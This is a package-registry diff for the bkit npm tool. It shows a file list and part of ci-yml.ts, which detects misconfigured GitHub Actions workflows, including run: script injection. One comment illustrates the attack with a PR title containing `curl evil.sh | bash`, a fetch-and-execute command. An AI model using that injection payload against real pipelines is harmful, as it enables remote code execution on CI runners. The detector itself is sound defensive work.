@cbartens/bkit 0.0.0-stage → 5.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.bkit/README.md +417 -0
- package/.bkit/core/.agents/context.md +95 -0
- package/.bkit/core/.agents/docs.md +62 -0
- package/.bkit/core/.agents/rules.md +147 -0
- package/.bkit/core/.agents/skills.md +43 -0
- package/.bkit/core/.bkit/LICENSE.md +151 -0
- package/.bkit/core/.bkit/README.md +417 -0
- package/.bkit/core/.bkit/cloud.md +493 -0
- package/.bkit/core/.bkit/comparison.md +321 -0
- package/.bkit/core/.bkit/install.md +401 -0
- package/.bkit/core/.bkit/jsonl.md +497 -0
- package/.bkit/core/.bkit/prompts.md +474 -0
- package/.bkit/core/.bkit/providers.md +598 -0
- package/.bkit/core/.bkit/templates.md +470 -0
- package/.bkit/core/.bkit/trackers.md +95 -0
- package/.bkit/core/.bkit/workflows.md +1550 -0
- package/.bkit/core/.claude/hooks/bkit-gateguard.cjs +82 -0
- package/.bkit/core/.claude/hooks/bkit-guardrails.cjs +93 -0
- package/.bkit/core/.claude/hooks/bkit-preflight.sh +74 -0
- package/.bkit/core/.codex/hooks/bkit-gateguard.cjs +115 -0
- package/.bkit/core/.codex/hooks/bkit-guardrails.cjs +135 -0
- package/.bkit/core/.cursor/hooks/bkit-gateguard.cjs +111 -0
- package/.bkit/core/.cursor/hooks/bkit-guardrails.cjs +169 -0
- package/.bkit/core/.cursor/hooks/bkit-preflight.sh +63 -0
- package/.bkit/core/.opencode/plugin/bkit-gateguard.js +225 -0
- package/.bkit/core/AGENTS.md +77 -0
- package/.bkit/core/LICENSE.md +149 -0
- package/.bkit/core/docs/templates/bkit-audit-accessibility.md +272 -0
- package/.bkit/core/docs/templates/bkit-audit-adoption.md +223 -0
- package/.bkit/core/docs/templates/bkit-audit-agents.md +230 -0
- package/.bkit/core/docs/templates/bkit-audit-aio-seo.md +227 -0
- package/.bkit/core/docs/templates/bkit-audit-analytics.md +266 -0
- package/.bkit/core/docs/templates/bkit-audit-annotations.md +230 -0
- package/.bkit/core/docs/templates/bkit-audit-app-performance.md +270 -0
- package/.bkit/core/docs/templates/bkit-audit-app-store.md +254 -0
- package/.bkit/core/docs/templates/bkit-audit-architecture.md +221 -0
- package/.bkit/core/docs/templates/bkit-audit-ci-performance.md +241 -0
- package/.bkit/core/docs/templates/bkit-audit-config.md +230 -0
- package/.bkit/core/docs/templates/bkit-audit-cost.md +218 -0
- package/.bkit/core/docs/templates/bkit-audit-coverage.md +221 -0
- package/.bkit/core/docs/templates/bkit-audit-database.md +229 -0
- package/.bkit/core/docs/templates/bkit-audit-dead-code.md +251 -0
- package/.bkit/core/docs/templates/bkit-audit-deferrals.md +283 -0
- package/.bkit/core/docs/templates/bkit-audit-dependencies.md +268 -0
- package/.bkit/core/docs/templates/bkit-audit-documentation.md +280 -0
- package/.bkit/core/docs/templates/bkit-audit-duplication.md +253 -0
- package/.bkit/core/docs/templates/bkit-audit-failures.md +259 -0
- package/.bkit/core/docs/templates/bkit-audit-flakes.md +237 -0
- package/.bkit/core/docs/templates/bkit-audit-gates.md +250 -0
- package/.bkit/core/docs/templates/bkit-audit-issues.md +273 -0
- package/.bkit/core/docs/templates/bkit-audit-llm.md +239 -0
- package/.bkit/core/docs/templates/bkit-audit-logs.md +266 -0
- package/.bkit/core/docs/templates/bkit-audit-models.md +210 -0
- package/.bkit/core/docs/templates/bkit-audit-privacy.md +211 -0
- package/.bkit/core/docs/templates/bkit-audit-prompts.md +216 -0
- package/.bkit/core/docs/templates/bkit-audit-red-team.md +220 -0
- package/.bkit/core/docs/templates/bkit-audit-reliability.md +222 -0
- package/.bkit/core/docs/templates/bkit-audit-repo.md +224 -0
- package/.bkit/core/docs/templates/bkit-audit-security.md +274 -0
- package/.bkit/core/docs/templates/bkit-audit-slop.md +200 -0
- package/.bkit/core/docs/templates/bkit-audit-testing.md +270 -0
- package/.bkit/core/docs/templates/bkit-audit-usability.md +237 -0
- package/.bkit/core/docs/templates/bkit-plan.md +476 -0
- package/.bkit/core/engine/checks/after/auth.ts +149 -0
- package/.bkit/core/engine/checks/after/ci-yml.ts +701 -0
- package/.bkit/core/engine/checks/after/github.ts +424 -0
- package/.bkit/core/engine/checks/after/index.ts +530 -0
- package/.bkit/core/engine/checks/after/managed.ts +217 -0
- package/.bkit/core/engine/checks/after/suppression.ts +53 -0
- package/.bkit/core/engine/checks/after/tools.ts +427 -0
- package/.bkit/core/engine/checks/before/context-fetch.ts +429 -0
- package/.bkit/core/engine/checks/before/env.ts +187 -0
- package/.bkit/core/engine/checks/before/files.ts +204 -0
- package/.bkit/core/engine/checks/before/index.ts +206 -0
- package/.bkit/core/engine/checks/before/mcp.ts +127 -0
- package/.bkit/core/engine/checks/before/repo.ts +77 -0
- package/.bkit/core/engine/checks/before/version.ts +67 -0
- package/.bkit/core/engine/checks/status-holes.ts +479 -0
- package/.bkit/core/engine/cli.ts +867 -0
- package/.bkit/core/engine/commands/analysis.ts +550 -0
- package/.bkit/core/engine/commands/ci/ci.ts +483 -0
- package/.bkit/core/engine/commands/comply.ts +415 -0
- package/.bkit/core/engine/commands/harvest.ts +459 -0
- package/.bkit/core/engine/commands/install/check.ts +70 -0
- package/.bkit/core/engine/commands/install/doctor.ts +254 -0
- package/.bkit/core/engine/commands/install/install.ts +550 -0
- package/.bkit/core/engine/commands/install/uninstall.ts +995 -0
- package/.bkit/core/engine/commands/install/upgrade.ts +1037 -0
- package/.bkit/core/engine/commands/launch.ts +139 -0
- package/.bkit/core/engine/commands/lib.ts +495 -0
- package/.bkit/core/engine/commands/registry.ts +53 -0
- package/.bkit/core/engine/commands/setup/setup.ts +184 -0
- package/.bkit/core/engine/commands/telemetry.ts +32 -0
- package/.bkit/core/engine/commands/workflow/branches.ts +1514 -0
- package/.bkit/core/engine/commands/workflow/context.ts +961 -0
- package/.bkit/core/engine/commands/workflow/counters.ts +268 -0
- package/.bkit/core/engine/commands/workflow/fids.ts +243 -0
- package/.bkit/core/engine/commands/workflow/issues.ts +675 -0
- package/.bkit/core/engine/commands/workflow/ledgers.ts +575 -0
- package/.bkit/core/engine/commands/workflow/locks.ts +478 -0
- package/.bkit/core/engine/commands/workflow/prs.ts +1087 -0
- package/.bkit/core/engine/commands/workflow/repo.ts +220 -0
- package/.bkit/core/engine/commands/workflow/roadmap.ts +576 -0
- package/.bkit/core/engine/commands/workflow/runs.ts +2140 -0
- package/.bkit/core/engine/commands/workflow/runtime.ts +300 -0
- package/.bkit/core/engine/commands/workflow/skills.ts +118 -0
- package/.bkit/core/engine/commands/workflow/status.ts +455 -0
- package/.bkit/core/engine/commands/workflow/steps.ts +1300 -0
- package/.bkit/core/engine/commands/workflow/tests.ts +161 -0
- package/.bkit/core/engine/commands/workflow/workflows.ts +1573 -0
- package/.bkit/core/engine/commands/workflow/workstreams.ts +164 -0
- package/.bkit/core/engine/commands/workflow/worktrees.ts +534 -0
- package/.bkit/core/engine/install/cloud-env.ts +924 -0
- package/.bkit/core/engine/install/managed-block.ts +212 -0
- package/.bkit/core/engine/install/manifest.ts +448 -0
- package/.bkit/core/engine/install/modules/claude.ts +362 -0
- package/.bkit/core/engine/install/modules/cloud.ts +173 -0
- package/.bkit/core/engine/install/modules/codex.ts +219 -0
- package/.bkit/core/engine/install/modules/core.ts +620 -0
- package/.bkit/core/engine/install/modules/cursor.ts +231 -0
- package/.bkit/core/engine/install/modules/index.ts +242 -0
- package/.bkit/core/engine/install/modules/opencode.ts +573 -0
- package/.bkit/core/engine/install/payload-links.ts +150 -0
- package/.bkit/core/engine/install/placeholders.ts +108 -0
- package/.bkit/core/engine/install/template-copies.ts +119 -0
- package/.bkit/core/engine/install/version-file.ts +284 -0
- package/.bkit/core/engine/install/write.ts +467 -0
- package/.bkit/core/engine/ledgers/clamp-log.ts +32 -0
- package/.bkit/core/engine/ledgers/status.ts +213 -0
- package/.bkit/core/engine/ledgers/telemetry.ts +1143 -0
- package/.bkit/core/engine/render/hosts.ts +372 -0
- package/.bkit/core/engine/render/models.ts +323 -0
- package/.bkit/core/engine/render/parts.ts +38 -0
- package/.bkit/core/engine/render/trackers.ts +170 -0
- package/.bkit/core/engine/shared/egress.ts +345 -0
- package/.bkit/core/engine/shared/json.ts +16 -0
- package/.bkit/core/engine/shared/log-prefix.ts +9 -0
- package/.bkit/core/engine/shared/package-json.ts +29 -0
- package/.bkit/core/engine/shared/package-manager.ts +38 -0
- package/.bkit/core/engine/shared/package-roots.ts +163 -0
- package/.bkit/core/engine/shared/protected-paths.ts +164 -0
- package/.bkit/core/engine/shared/settings.ts +72 -0
- package/.bkit/core/engine/shared/timeouts.ts +20 -0
- package/.bkit/core/engine/tools/wording.ts +748 -0
- package/.bkit/core/hooks/gateguard-edit-payload.js +18 -0
- package/.bkit/core/hooks/gateguard-engine.js +193 -0
- package/.bkit/core/hooks/guardrails-shell.js +154 -0
- package/.bkit/core/hooks/guardrails-tiers.js +68 -0
- package/.bkit/core/hooks/preflight-linear.sh +73 -0
- package/.bkit/core/prompts/bkit-audit-generate.md +66 -0
- package/.bkit/core/prompts/bkit-build-challenge-1.md +79 -0
- package/.bkit/core/prompts/bkit-build-challenge-2.md +81 -0
- package/.bkit/core/prompts/bkit-build-challenge-reconcile.md +68 -0
- package/.bkit/core/prompts/bkit-build-challenge-remediate.md +70 -0
- package/.bkit/core/prompts/bkit-build-challenge-tests.md +73 -0
- package/.bkit/core/prompts/bkit-build-install-skills.md +67 -0
- package/.bkit/core/prompts/bkit-build-plan-current.md +75 -0
- package/.bkit/core/prompts/bkit-build-plan-execute.md +72 -0
- package/.bkit/core/prompts/bkit-build-plan-gaps-remediate.md +73 -0
- package/.bkit/core/prompts/bkit-build-plan-verify.md +88 -0
- package/.bkit/core/prompts/bkit-build-summary.md +93 -0
- package/.bkit/core/prompts/bkit-debug-abort-handover.md +90 -0
- package/.bkit/core/prompts/bkit-debug-failure-diagnose.md +151 -0
- package/.bkit/core/prompts/bkit-debug-failure-remediate.md +78 -0
- package/.bkit/core/prompts/bkit-debug-failure-soak.md +73 -0
- package/.bkit/core/prompts/bkit-debug-summary.md +95 -0
- package/.bkit/core/prompts/bkit-design-brainstorm-ideate-1.md +72 -0
- package/.bkit/core/prompts/bkit-design-brainstorm-ideate-2.md +72 -0
- package/.bkit/core/prompts/bkit-design-brainstorm-ideate-3.md +75 -0
- package/.bkit/core/prompts/bkit-design-generate.md +110 -0
- package/.bkit/core/prompts/bkit-design-organise.md +85 -0
- package/.bkit/core/prompts/bkit-design-review-1.md +121 -0
- package/.bkit/core/prompts/bkit-design-review-2.md +111 -0
- package/.bkit/core/prompts/bkit-design-spike.md +97 -0
- package/.bkit/core/prompts/bkit-design-summary.md +106 -0
- package/.bkit/core/prompts/bkit-design-update.md +66 -0
- package/.bkit/core/prompts/bkit-plan-complexity-check.md +66 -0
- package/.bkit/core/prompts/bkit-plan-complexity-split.md +87 -0
- package/.bkit/core/prompts/bkit-plan-generate.md +74 -0
- package/.bkit/core/prompts/bkit-plan-review-1.md +90 -0
- package/.bkit/core/prompts/bkit-plan-review-2.md +80 -0
- package/.bkit/core/prompts/bkit-plan-review-3.md +92 -0
- package/.bkit/core/prompts/bkit-plan-scope-check-1.md +84 -0
- package/.bkit/core/prompts/bkit-plan-scope-check-2.md +84 -0
- package/.bkit/core/prompts/bkit-plan-summary.md +106 -0
- package/.bkit/core/prompts/bkit-plan-update.md +68 -0
- package/.bkit/core/prompts/bkit-ship-conflict-resolve.md +90 -0
- package/.bkit/core/prompts/bkit-ship-deferred-sweep.md +94 -0
- package/.bkit/core/prompts/bkit-ship-summary.md +77 -0
- package/.bkit/core/prompts/bkit-ship-update-docs.md +71 -0
- package/.bkit/core/prompts/bkit-utility-compress-markdown.md +91 -0
- package/.bkit/core/prompts/bkit-utility-update-decisions.md +75 -0
- package/.bkit/core/prompts/bkit-utility-update-deferrals.md +76 -0
- package/.bkit/core/prompts/bkit-utility-update-documentation.md +61 -0
- package/.bkit/core/prompts/bkit-utility-update-failures.md +76 -0
- package/.bkit/core/prompts/bkit-utility-update-knowledge.md +75 -0
- package/.bkit/core/prompts/bkit-utility-update-roadmap.md +82 -0
- package/.bkit/core/workflows/bkit-auto.md +121 -0
- package/.bkit/core/workflows/bkit-build.md +802 -0
- package/.bkit/core/workflows/bkit-debug.md +649 -0
- package/.bkit/core/workflows/bkit-design.md +495 -0
- package/.bkit/core/workflows/bkit-plan.md +510 -0
- package/.bkit/core/workflows/bkit-ship.md +650 -0
- package/.bkit/shared/.bkit/.env.example +86 -0
- package/.bkit/shared/.claude/bkit-cloud.md +117 -0
- package/.bkit/shared/.claude/settings.json +88 -0
- package/.bkit/shared/.codex/hooks.json +26 -0
- package/.bkit/shared/.cursor/bkit-cloud.md +84 -0
- package/.bkit/shared/.cursor/hooks.json +26 -0
- package/.bkit/shared/.cursor/mcp.json +15 -0
- package/.bkit/shared/.cursor/rules/bkit-rules.mdc +12 -0
- package/.bkit/shared/.gitattributes +37 -0
- package/.bkit/shared/.mcp.json +16 -0
- package/.bkit/shared/.opencode/opencode.json +62 -0
- package/.bkit/shared/CLAUDE.md +11 -0
- package/.bkit/shared/LICENSE.md +22 -0
- package/.bkit/shared/docs/architecture.md +19 -0
- package/.bkit/shared/docs/data-schema.md +19 -0
- package/.bkit/shared/docs/deployments.md +433 -0
- package/.bkit/shared/docs/design.md +39 -0
- package/.bkit/shared/docs/noise.md +19 -0
- package/.bkit/shared/docs/observability.md +25 -0
- package/.bkit/shared/docs/security.md +42 -0
- package/.bkit/shared/docs/setup.md +30 -0
- package/.bkit/shared/docs/technology.md +18 -0
- package/.bkit/shared/docs/testing.md +413 -0
- package/.bkit/shared/gitignore +97 -0
- package/.bkit/templates/.claude/hooks/bkit-cloud-bootstrap.sh +187 -0
- package/.bkit/templates/.cursor/Dockerfile +68 -0
- package/.bkit/templates/.cursor/environment.json +6 -0
- package/.bkit/templates/.cursor/settings.json +11 -0
- package/.bkit/templates/.envrc +7 -0
- package/.bkit/templates/.github/dependabot.yml +52 -0
- package/.bkit/templates/.github/renovate.json5 +224 -0
- package/.bkit/templates/.github/workflows/bkit-ci.yml +1062 -0
- package/.bkit/templates/.github/workflows/bkit-cloud.yml +564 -0
- package/.bkit/templates/.github/workflows/bkit-renovate.yml +102 -0
- package/.bkit/templates/.graphifyignore +108 -0
- package/.bkit/templates/.husky/pre-commit +16 -0
- package/.bkit/templates/.husky/pre-push +91 -0
- package/.bkit/templates/.lintstagedrc.json +3 -0
- package/.bkit/templates/.prettierignore +41 -0
- package/.bkit/templates/.serena/project.yml +243 -0
- package/.bkit/templates/.vale/styles/House/Filler.yml +11 -0
- package/.bkit/templates/.vale/styles/House/Hedging.yml +12 -0
- package/.bkit/templates/.vale/styles/House/LLMSlop.yml +13 -0
- package/.bkit/templates/.vale/styles/House/Verbose.yml +12 -0
- package/.bkit/templates/.vale.ini +67 -0
- package/.bkit/templates/LICENSE.md +22 -0
- package/.bkit/templates/context/bkit-cloudrun.md +84 -0
- package/.bkit/templates/context/bkit-expo.md +186 -0
- package/.bkit/templates/context/bkit-github.md +79 -0
- package/.bkit/templates/context/bkit-inngest.md +45 -0
- package/.bkit/templates/context/bkit-maestro.md +76 -0
- package/.bkit/templates/context/bkit-playwright.md +62 -0
- package/.bkit/templates/context/bkit-resend.md +36 -0
- package/.bkit/templates/context/bkit-sentry.md +65 -0
- package/.bkit/templates/context/bkit-serena.md +33 -0
- package/.bkit/templates/context/bkit-stripe.md +36 -0
- package/.bkit/templates/context/bkit-supabase.md +59 -0
- package/.bkit/templates/context/bkit-tavily.md +49 -0
- package/.bkit/templates/context/bkit-vercel.md +64 -0
- package/.bkit/templates/docs/capabilities.md +72 -0
- package/.bkit/templates/scripts/ci/accepted-divergences.json +21 -0
- package/.bkit/templates/scripts/ci/check-accepted-divergences.mjs +152 -0
- package/.bkit/templates/scripts/ci/check-accepted-divergences.test.mjs +130 -0
- package/.bkit/templates/scripts/ci/lanes/resolve-push-base.mjs +98 -0
- package/.bkit/templates/scripts/ci/lanes/resolve-push-base.test.mjs +86 -0
- package/.bkit/templates/scripts/graphify/bkit-graph-drift-rules.json +23 -0
- package/.bkit/templates/scripts/graphify/bkit-graph-drift.py +208 -0
- package/.bkit/templates/scripts/graphify/bkit-graph-eager-rules.json +35 -0
- package/.bkit/templates/scripts/graphify/bkit-graph-eager.py +236 -0
- package/.bkit/templates/scripts/graphify/bkit-graph-external-rules.json +17 -0
- package/.bkit/templates/scripts/graphify/bkit-graph-imports.py +290 -0
- package/.bkit/templates/scripts/graphify/bkit-graph-pre-push.sh +19 -0
- package/.bkit/templates/scripts/graphify/bkit-graph-repair.py +120 -0
- package/.bkit/templates/scripts/graphify/bkit-graph-surface.py +232 -0
- package/.bkit/templates/scripts/graphify/bkit-graphify-graphml.py +36 -0
- package/.bkit/templates/scripts/graphify/bkit-graphify-rollup.py +927 -0
- package/.bkit/templates/scripts/graphify/bkit-graphify.sh +351 -0
- package/.bkit/templates/scripts/launchd/ai.bkit.launchd.plist +26 -0
- package/.bkit/templates/scripts/launchd/bkit-launchd-env.sh +53 -0
- package/.bkit/templates/scripts/launchd/launchd.env.example +13 -0
- package/.bkit/templates/scripts/prettier/bkit-insert-ignore.mjs +275 -0
- package/.bkit/templates/scripts/secrets/bkit-secrets.config.mjs +66 -0
- package/.bkit/templates/scripts/secrets/bkit-secrets.mjs +785 -0
- package/.bkit/templates/scripts/serena/bkit-serena-mcp.sh +30 -0
- package/.bkit/templates/scripts/serena/bkit-serena.mcp.json +9 -0
- package/.bkit/templates/scripts/slop/bkit-slop-type-suppression.mjs +286 -0
- package/.bkit/templates/slop-scan.config.json +120 -0
- package/CHANGELOG.md +1503 -0
- package/LICENSE.md +161 -0
- package/README.md +184 -2
- package/dist/checks/after/auth.js +140 -0
- package/dist/checks/after/ci-yml.js +681 -0
- package/dist/checks/after/github.js +400 -0
- package/dist/checks/after/index.js +431 -0
- package/dist/checks/after/managed.js +187 -0
- package/dist/checks/after/suppression.js +39 -0
- package/dist/checks/after/tools.js +351 -0
- package/dist/checks/before/context-fetch.js +426 -0
- package/dist/checks/before/env.js +163 -0
- package/dist/checks/before/files.js +187 -0
- package/dist/checks/before/index.js +162 -0
- package/dist/checks/before/mcp.js +111 -0
- package/dist/checks/before/repo.js +71 -0
- package/dist/checks/before/version.js +60 -0
- package/dist/checks/status-holes.js +393 -0
- package/dist/cli.js +688 -0
- package/dist/commands/analysis.js +325 -0
- package/dist/commands/ci/ci.js +438 -0
- package/dist/commands/comply.js +310 -0
- package/dist/commands/harvest.js +354 -0
- package/dist/commands/install/check.js +61 -0
- package/dist/commands/install/doctor.js +209 -0
- package/dist/commands/install/install.js +475 -0
- package/dist/commands/install/uninstall.js +839 -0
- package/dist/commands/install/upgrade.js +782 -0
- package/dist/commands/launch.js +118 -0
- package/dist/commands/lib.js +363 -0
- package/dist/commands/registry.js +50 -0
- package/dist/commands/setup/setup.js +158 -0
- package/dist/commands/telemetry.js +29 -0
- package/dist/commands/workflow/branches.js +1265 -0
- package/dist/commands/workflow/context.js +846 -0
- package/dist/commands/workflow/counters.js +227 -0
- package/dist/commands/workflow/fids.js +224 -0
- package/dist/commands/workflow/issues.js +585 -0
- package/dist/commands/workflow/ledgers.js +472 -0
- package/dist/commands/workflow/locks.js +364 -0
- package/dist/commands/workflow/prs.js +904 -0
- package/dist/commands/workflow/repo.js +199 -0
- package/dist/commands/workflow/roadmap.js +495 -0
- package/dist/commands/workflow/runs.js +1717 -0
- package/dist/commands/workflow/runtime.js +257 -0
- package/dist/commands/workflow/skills.js +110 -0
- package/dist/commands/workflow/status.js +392 -0
- package/dist/commands/workflow/steps.js +1093 -0
- package/dist/commands/workflow/tests.js +144 -0
- package/dist/commands/workflow/workflows.js +1342 -0
- package/dist/commands/workflow/workstreams.js +141 -0
- package/dist/commands/workflow/worktrees.js +473 -0
- package/dist/install/cloud-env.js +818 -0
- package/dist/install/managed-block.js +182 -0
- package/dist/install/manifest.js +376 -0
- package/dist/install/modules/claude.js +288 -0
- package/dist/install/modules/cloud.js +151 -0
- package/dist/install/modules/codex.js +193 -0
- package/dist/install/modules/core.js +531 -0
- package/dist/install/modules/cursor.js +186 -0
- package/dist/install/modules/index.js +152 -0
- package/dist/install/modules/opencode.js +504 -0
- package/dist/install/payload-links.js +119 -0
- package/dist/install/placeholders.js +87 -0
- package/dist/install/template-copies.js +106 -0
- package/dist/install/version-file.js +204 -0
- package/dist/install/write.js +342 -0
- package/dist/ledgers/clamp-log.js +27 -0
- package/dist/ledgers/status.js +156 -0
- package/dist/ledgers/telemetry.js +637 -0
- package/dist/render/hosts.js +339 -0
- package/dist/render/models.js +288 -0
- package/dist/render/parts.js +33 -0
- package/dist/render/trackers.js +135 -0
- package/dist/shared/egress.js +299 -0
- package/dist/shared/json.js +16 -0
- package/dist/shared/log-prefix.js +7 -0
- package/dist/shared/package-json.js +22 -0
- package/dist/shared/package-manager.js +32 -0
- package/dist/shared/package-roots.js +145 -0
- package/dist/shared/protected-paths.js +153 -0
- package/dist/shared/settings.js +44 -0
- package/dist/shared/timeouts.js +19 -0
- package/dist/tools/wording.js +680 -0
- package/package.json +101 -4
|
@@ -0,0 +1,701 @@
|
|
|
1
|
+
// checks/after/ci-yml.ts — the consumer's CI workflows: token env, actionlint, run injection,
|
|
2
|
+
// the capstone contract, the cloud gate, floating action tags, tagged tests without a CI home,
|
|
3
|
+
// run levels, turbo inputs and the integration env.
|
|
4
|
+
|
|
5
|
+
import * as fs from "node:fs";
|
|
6
|
+
import * as path from "node:path";
|
|
7
|
+
import { readPackageJson } from "../../shared/package-json.js";
|
|
8
|
+
import type { PreflightFinding } from "../before/index.js";
|
|
9
|
+
import { isAdvisorySuppressed, type SuppressionReporter } from "./suppression.js";
|
|
10
|
+
|
|
11
|
+
// ---------------------------------------------------------------------------
|
|
12
|
+
// Other post-install detectors
|
|
13
|
+
// ---------------------------------------------------------------------------
|
|
14
|
+
|
|
15
|
+
/**
|
|
16
|
+
* Detect the always-true `if:` gate in `.github/workflows/bkit-cloud.yml`: a `|`
|
|
17
|
+
* block scalar wrapping ${{ }}. GitHub Actions sees extra characters around ${{ }}
|
|
18
|
+
* (the block scalar's newlines) and evaluates the whole condition to a non-empty
|
|
19
|
+
* string === always true — so the free-tier `bkit [auto route]` gate never fires and
|
|
20
|
+
* the run job executes on every triggering event (unintended runner-minute spend).
|
|
21
|
+
*
|
|
22
|
+
* Fires only while the broken construct is present; the fixed form is a `>-` folded
|
|
23
|
+
* expression with no ${{ }} wrapper. bkit-cloud.yml is the consumer's copy of a
|
|
24
|
+
* template and bkit never rewrites it, so the action inlines the manual fix.
|
|
25
|
+
*/
|
|
26
|
+
export function detectBkitCloudYmlAlwaysTrueGate(cwd: string): PreflightFinding | null {
|
|
27
|
+
const cloudPath = path.join(cwd, ".github", "workflows", "bkit-cloud.yml");
|
|
28
|
+
if (!fs.existsSync(cloudPath)) return null;
|
|
29
|
+
const content = fs.readFileSync(cloudPath, "utf-8");
|
|
30
|
+
// Broken construct: an `if:` block scalar (`|` / `>`) whose first content line is ${{.
|
|
31
|
+
if (!/^\s*if:\s*[|>][^\n]*\n\s*\$\{\{/m.test(content)) return null;
|
|
32
|
+
return {
|
|
33
|
+
id: "bkit-auto-yml-always-true-gate",
|
|
34
|
+
severity: "advisory",
|
|
35
|
+
detect:
|
|
36
|
+
".github/workflows/bkit-cloud.yml writes its auto-route `if:` gate as a `|` block scalar wrapping ${{ }} — GitHub Actions evaluates this to a non-empty string (always true), so the free-tier `bkit [auto route]` gate never fires and the job runs on every triggering event.",
|
|
37
|
+
action:
|
|
38
|
+
"Replace the auto-route job's `if: |` block scalar with a `>-` folded expression that drops the ${{ }} wrapper (GitHub Actions evaluates `if:` expressions natively):\n\n" +
|
|
39
|
+
" if: >-\n" +
|
|
40
|
+
" github.event_name == 'workflow_dispatch'\n" +
|
|
41
|
+
" || (\n" +
|
|
42
|
+
" (github.event.workflow_run.conclusion == 'success' || github.event.workflow_run.conclusion == 'failure')\n" +
|
|
43
|
+
" && contains(github.event.workflow_run.head_commit.message, 'bkit [auto route]')\n" +
|
|
44
|
+
" )\n\n" +
|
|
45
|
+
"Validate with `actionlint` — the `[if-cond]` finding disappears once the wrapper is gone.",
|
|
46
|
+
};
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
/**
|
|
50
|
+
* Matches a `.github/workflows/bkit-ci.yml` copied from the bkit-ci.yml template: an uncommented
|
|
51
|
+
* job named `bkit-tests` or `bkit-tests-<lane>`, the job names every lane of the template
|
|
52
|
+
* carries.
|
|
53
|
+
*/
|
|
54
|
+
const ADOPTED_CI_JOB_RE = /^[ \t]+bkit-tests(?:-[\w-]+)?:[ \t]*$/m;
|
|
55
|
+
|
|
56
|
+
/**
|
|
57
|
+
* Detect a `.github/workflows/bkit-ci.yml` adopted from bkit's template with no `actionlint` step.
|
|
58
|
+
* `yaml.safe_load` (and generic YAML linters) accept workflows that are valid YAML
|
|
59
|
+
* but invalid GitHub Actions (doubled quotes inside ${{ }}, always-true `if:` block
|
|
60
|
+
* scalars). actionlint is GHA-aware and catches that class.
|
|
61
|
+
*
|
|
62
|
+
* Only fires when the consumer adopted the bkit-ci.yml template (ADOPTED_CI_JOB_RE).
|
|
63
|
+
* bkit-ci.yml is the consumer's file, so `bkit install` never adds the step — the action
|
|
64
|
+
* inlines the manual step.
|
|
65
|
+
*/
|
|
66
|
+
export function detectCiYmlMissingActionlint(cwd: string): PreflightFinding | null {
|
|
67
|
+
const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
|
|
68
|
+
if (!fs.existsSync(ciPath)) return null;
|
|
69
|
+
const content = fs.readFileSync(ciPath, "utf-8");
|
|
70
|
+
if (!ADOPTED_CI_JOB_RE.test(content)) return null;
|
|
71
|
+
if (/actionlint/i.test(content)) return null;
|
|
72
|
+
return {
|
|
73
|
+
id: "ci-yml-missing-actionlint",
|
|
74
|
+
severity: "advisory",
|
|
75
|
+
detect:
|
|
76
|
+
".github/workflows/bkit-ci.yml (adopted from bkit's template) has no actionlint step. yaml.safe_load accepts workflows that are valid YAML but invalid GitHub Actions (e.g. doubled quotes inside ${{ }}, an always-true `if:` block scalar); actionlint is GHA-aware and catches them.",
|
|
77
|
+
action:
|
|
78
|
+
"Add an actionlint step among the static checks in .github/workflows/bkit-ci.yml (before the test/build group):\n\n" +
|
|
79
|
+
" - name: Run actionlint\n" +
|
|
80
|
+
" if: steps.cache.outputs.skip != 'true'\n" +
|
|
81
|
+
" run: |\n" +
|
|
82
|
+
' curl -sSfL https://raw.githubusercontent.com/rhysd/actionlint/v1.7.12/scripts/download-actionlint.bash -o "$RUNNER_TEMP/download-actionlint.bash"\n' +
|
|
83
|
+
' bash "$RUNNER_TEMP/download-actionlint.bash" 1.7.12 "$RUNNER_TEMP"\n' +
|
|
84
|
+
' "$RUNNER_TEMP/actionlint" -color',
|
|
85
|
+
};
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
/**
|
|
89
|
+
* Detect an untrusted GitHub Actions expression interpolated directly into a `run:` shell
|
|
90
|
+
* body in `.github/workflows/bkit-ci.yml` — the classic GHA script-injection sink. A PR titled
|
|
91
|
+
* `"; curl evil.sh | bash; "` expands into the runner's shell when `${{ github.event.* }}`
|
|
92
|
+
* (or `github.head_ref`) is inlined into `run:` text. The safe form is env-indirection: map
|
|
93
|
+
* the value to an `env:` var and reference `$VAR` (GitHub runtime-expands env values and never
|
|
94
|
+
* re-parses them as shell). bkit-ci.yml is the consumer's file — bkit's template was hardened but
|
|
95
|
+
* nothing back-fills a copy adopted before the fix, so it keeps the vulnerable inline form.
|
|
96
|
+
* This surfaces it as a dedicated security finding.
|
|
97
|
+
*
|
|
98
|
+
* Line-based (no YAML dep, like the sibling bkit-ci.yml detectors): tracks `run:` blocks by
|
|
99
|
+
* indentation and flags untrusted expressions inside their bodies only. `env:` / `if:` /
|
|
100
|
+
* `with:` / `concurrency:` contexts are NOT run bodies, so the safe env-indirection form does
|
|
101
|
+
* not fire; a YAML-commented `run:` key never opens a body, so shipped commented stubs stay
|
|
102
|
+
* silent. Only scans a bkit-ci.yml adopted from bkit's template (ADOPTED_CI_JOB_RE).
|
|
103
|
+
*/
|
|
104
|
+
export function detectCiYmlRunInjection(cwd: string): PreflightFinding | null {
|
|
105
|
+
const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
|
|
106
|
+
if (!fs.existsSync(ciPath)) return null;
|
|
107
|
+
const content = fs.readFileSync(ciPath, "utf-8");
|
|
108
|
+
if (!ADOPTED_CI_JOB_RE.test(content)) return null;
|
|
109
|
+
|
|
110
|
+
// Attacker-controllable payload contexts: any github.event.* field and github.head_ref.
|
|
111
|
+
// github.base_ref / github.event_name / SHAs are constrained values and are excluded
|
|
112
|
+
// (the shipped commented stubs reference github.base_ref).
|
|
113
|
+
const UNTRUSTED = /\$\{\{[^}]*\b(?:github\.event\.[\w.]+|github\.head_ref)\b[^}]*\}\}/;
|
|
114
|
+
|
|
115
|
+
const indentOf = (l: string): number => l.length - l.replace(/^[ \t]*/, "").length;
|
|
116
|
+
const hits: string[] = [];
|
|
117
|
+
let runKeyIndent: number | null = null; // indent of an active `run:` key; its body is deeper
|
|
118
|
+
|
|
119
|
+
for (const line of content.split("\n")) {
|
|
120
|
+
if (runKeyIndent !== null) {
|
|
121
|
+
if (line.trim() === "") continue; // blank lines belong to the block scalar
|
|
122
|
+
if (indentOf(line) <= runKeyIndent) {
|
|
123
|
+
runKeyIndent = null; // block ended — re-examine this line below
|
|
124
